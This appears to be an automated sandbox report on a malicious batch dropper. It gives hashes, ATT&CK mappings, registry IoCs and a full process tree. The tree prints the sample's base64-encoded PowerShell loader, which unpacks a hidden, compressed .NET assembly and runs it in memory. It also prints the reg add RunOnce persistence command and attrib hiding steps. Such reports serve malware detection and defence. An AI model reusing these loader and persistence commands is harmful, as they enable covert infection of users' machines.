75ce85c7868efffdd665bf1234b0e2cfc31a5bd24a493cfb6e237e7de32cb73e

General

Target

4qo856.bat
Size

2.1MB
MD5

e8939f95a675b9fb924eebe38827c456
SHA1

fc8b276222231d8184c21c69b655903b84a59430
SHA256

75ce85c7868efffdd665bf1234b0e2cfc31a5bd24a493cfb6e237e7de32cb73e
SHA512

f149ca122eddf7e8f611427ebd146608096884ee3b9e4b97c77d2771f6119afb13f357a3d5192e099a6168606c3d3c151eefe36779f8c82640b8a2b2a75c5e08
SSDEEP

24576:NnNaBvX2dfBil92AzBE4y1/feTDVzt6iZ+9/5KbCSfpItxCxe0U1k2jPaez/+L6a:KGwl2vuuiY50Tk91HLiA5dLkll1n

Score

8^/10

microsoft persistence phishing

Malware Config

Signatures

Executes dropped EXE 2 IoCs

Processes:

4qo856.bat.exe4qo856.bat.exe

pid process

3348 4qo856.bat.exe
2584 4qo856.bat.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

4qo856.bat.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	4qo856.bat.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

reg.exemsedge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\4qo856 = "C:\\Users\\Admin\\AppData\\Roaming\\4qo856.bat"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe

Detected potential entity reuse from brand microsoft.
phishing microsoft
Suspicious use of SetThreadContext 1 IoCs

Processes:

4qo856.bat.exe

description pid process target process

PID 3348 set thread context of 2584 3348 4qo856.bat.exe 4qo856.bat.exe

description	pid	process	target process
PID 3348 set thread context of 2584	3348	4qo856.bat.exe	4qo856.bat.exe

Drops file in Program Files directory 2 IoCs

Processes:

setup.exe

description	ioc	process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\45c740c9-056c-47e9-b6b9-381775e541c1.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20230202082738.pma	setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

Processes:

msedge.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ msedge.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

4qo856.bat.exepowershell.exemsedge.exemsedge.exeidentity_helper.exe

pid	process
3348	4qo856.bat.exe
3348	4qo856.bat.exe
1264	powershell.exe
1264	powershell.exe
4388	msedge.exe
4388	msedge.exe
2196	msedge.exe
2196	msedge.exe
4744	identity_helper.exe
4744	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

Processes:

msedge.exe

pid process

2196 msedge.exe
2196 msedge.exe
2196 msedge.exe
2196 msedge.exe
2196 msedge.exe
2196 msedge.exe
2196 msedge.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

4qo856.bat.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3348 4qo856.bat.exe
Token: SeDebugPrivilege 1264 powershell.exe
Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

msedge.exe

pid process

2196 msedge.exe
2196 msedge.exe
2196 msedge.exe

pid	process
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe

description	pid	process
Token: SeDebugPrivilege	3348	4qo856.bat.exe
Token: SeDebugPrivilege	1264	powershell.exe

pid	process
2196	msedge.exe
2196	msedge.exe
2196	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exe4qo856.bat.exe4qo856.bat.exemsedge.exe

description	pid	process	target process
PID 4072 wrote to memory of 4884	4072	cmd.exe	reg.exe
PID 4072 wrote to memory of 4884	4072	cmd.exe	reg.exe
PID 4072 wrote to memory of 2132	4072	cmd.exe	attrib.exe
PID 4072 wrote to memory of 2132	4072	cmd.exe	attrib.exe
PID 4072 wrote to memory of 3348	4072	cmd.exe	4qo856.bat.exe
PID 4072 wrote to memory of 3348	4072	cmd.exe	4qo856.bat.exe
PID 4072 wrote to memory of 3348	4072	cmd.exe	4qo856.bat.exe
PID 3348 wrote to memory of 1264	3348	4qo856.bat.exe	powershell.exe
PID 3348 wrote to memory of 1264	3348	4qo856.bat.exe	powershell.exe
PID 3348 wrote to memory of 1264	3348	4qo856.bat.exe	powershell.exe
PID 3348 wrote to memory of 2584	3348	4qo856.bat.exe	4qo856.bat.exe
PID 3348 wrote to memory of 2584	3348	4qo856.bat.exe	4qo856.bat.exe
PID 3348 wrote to memory of 2584	3348	4qo856.bat.exe	4qo856.bat.exe
PID 3348 wrote to memory of 2584	3348	4qo856.bat.exe	4qo856.bat.exe
PID 3348 wrote to memory of 2584	3348	4qo856.bat.exe	4qo856.bat.exe
PID 3348 wrote to memory of 2584	3348	4qo856.bat.exe	4qo856.bat.exe
PID 3348 wrote to memory of 2584	3348	4qo856.bat.exe	4qo856.bat.exe
PID 3348 wrote to memory of 2584	3348	4qo856.bat.exe	4qo856.bat.exe
PID 4072 wrote to memory of 364	4072	cmd.exe	attrib.exe
PID 4072 wrote to memory of 364	4072	cmd.exe	attrib.exe
PID 2584 wrote to memory of 2196	2584	4qo856.bat.exe	msedge.exe
PID 2584 wrote to memory of 2196	2584	4qo856.bat.exe	msedge.exe
PID 2196 wrote to memory of 4344	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4344	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe
PID 2196 wrote to memory of 4552	2196	msedge.exe	msedge.exe

Views/modifies file attributes 1 TTPs 2 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exeattrib.exe

pid process

2132 attrib.exe
364 attrib.exe

pid	process
2132	attrib.exe
364	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\4qo856.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4072

C:\Windows\system32\reg.exe
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v 4qo856 /d "C:\Users\Admin\AppData\Roaming\4qo856.bat"
2⤵
- Adds Run key to start application
PID:4884

C:\Windows\system32\attrib.exe
attrib +h C:\Users\Admin\AppData\Local\Temp\4qo856.bat.exe
2⤵
- Views/modifies file attributes
PID:2132

C:\Users\Admin\AppData\Local\Temp\4qo856.bat.exe
C:\Users\Admin\AppData\Local\Temp\4qo856.bat.exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgAL8AKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwC/ACcAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAZQBuAHQAcgB5AFAAbwBpAG4AdABNAGUAdABoAG8AZAAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAcwAoACkALgBXAGgAZQByAGUAKAB7ACAAJABfAC4ATgBhAG0AZQAgAC0AZQBxACAAJwBQAHIAbwBnAHIAYQBtACcAIAB9ACwAIAAnAEYAaQByAHMAdAAnACkALgBHAGUAdABNAGUAdABoAG8AZAAoACcATQBhAGkAbgAnACwAIABbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBCAGkAbgBkAGkAbgBnAEYAbABhAGcAcwBdACAAJwBTAHQAYQB0AGkAYwAsACAAUAB1AGIAbABpAGMALAAgAE4AbwBuAFAAdQBiAGwAaQBjACcAKQA7ACAAJABlAG4AdAByAHkAUABvAGkAbgB0AE0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3348

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1264

C:\Users\Admin\AppData\Local\Temp\4qo856.bat.exe
C:\Users\Admin\AppData\Local\Temp\4qo856.bat.exe
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2584

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=4qo856.bat.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
4⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2196

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc5f8546f8,0x7ffc5f854708,0x7ffc5f854718
5⤵
PID:4344

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
5⤵
PID:4552

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 /prefetch:3
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:4388

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2664 /prefetch:8
5⤵
PID:1428

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3832 /prefetch:1
5⤵
PID:1584

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3836 /prefetch:1
5⤵
PID:4840

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5296 /prefetch:8
5⤵
PID:1028

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4432 /prefetch:1
5⤵
PID:2256

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5364 /prefetch:8
5⤵
PID:3924

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5732 /prefetch:8
5⤵
PID:3560

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
5⤵
- Drops file in Program Files directory
PID:3192

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff7b4705460,0x7ff7b4705470,0x7ff7b4705480
6⤵
PID:3592

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5732 /prefetch:8
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:4744

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5756 /prefetch:1
5⤵
PID:4872

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5772 /prefetch:1
5⤵
PID:576

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5644 /prefetch:1
5⤵
PID:1380

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6248 /prefetch:1
5⤵
PID:1688

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1272 /prefetch:8
5⤵
PID:3212

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3148 /prefetch:8
5⤵
PID:2484

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2112,14410334692175850195,13592436361104981246,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1044 /prefetch:8
5⤵
PID:4816

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=4qo856.bat.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
4⤵
PID:4940

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffc5f8546f8,0x7ffc5f854708,0x7ffc5f854718
5⤵
PID:4204

C:\Windows\system32\attrib.exe
attrib -h C:\Users\Admin\AppData\Local\Temp\4qo856.bat.exe
2⤵
- Views/modifies file attributes
PID:364

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4392

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Hidden Files and Directories

1

T1158

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Hidden Files and Directories

1

T1158

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Filesize
152B

MD5
c71cb7463c49e125cbae14ac265cf18f

SHA1
4430c030546d725e7f6e5584f139e012e9214f06

SHA256
1eb6d93849a5c52e9b381fc0abd82b401e2d1e5dfbedd48a3cff50e91e758018

SHA512
2f1317d23dfe8c39760e51900cfaed49a2ba4675f0904ec033252e037e0eb935e59b4cc0b8c11c4acd7cfbddf0d9d461f5a66504494863c2bb7781aa3c000eed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
53KB

MD5
06ad34f9739c5159b4d92d702545bd49

SHA1
9152a0d4f153f3f40f7e606be75f81b582ee0c17

SHA256
474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

SHA512
c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
19KB

MD5
6d0a0cc1e31391e7f706a861ec4617ba

SHA1
16a38c6c4cfcb9b6422144b44ec5d02ff39ba7b9

SHA256
252bea5ee31481b8d267b5d5a27e42528a661ae85434d5f948b182ff1109429d

SHA512
b5d4668fb3203d997a97eb5c2be2b04d30540896d6ca1d71270d86108c383b537ff79e4114e66807e88a714b3b2cfa32113a1405d055f74e0d0dd03f57551b2a

Download Submit
C:\Users\Admin\AppData\Local\Temp\4qo856.bat.exe
Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
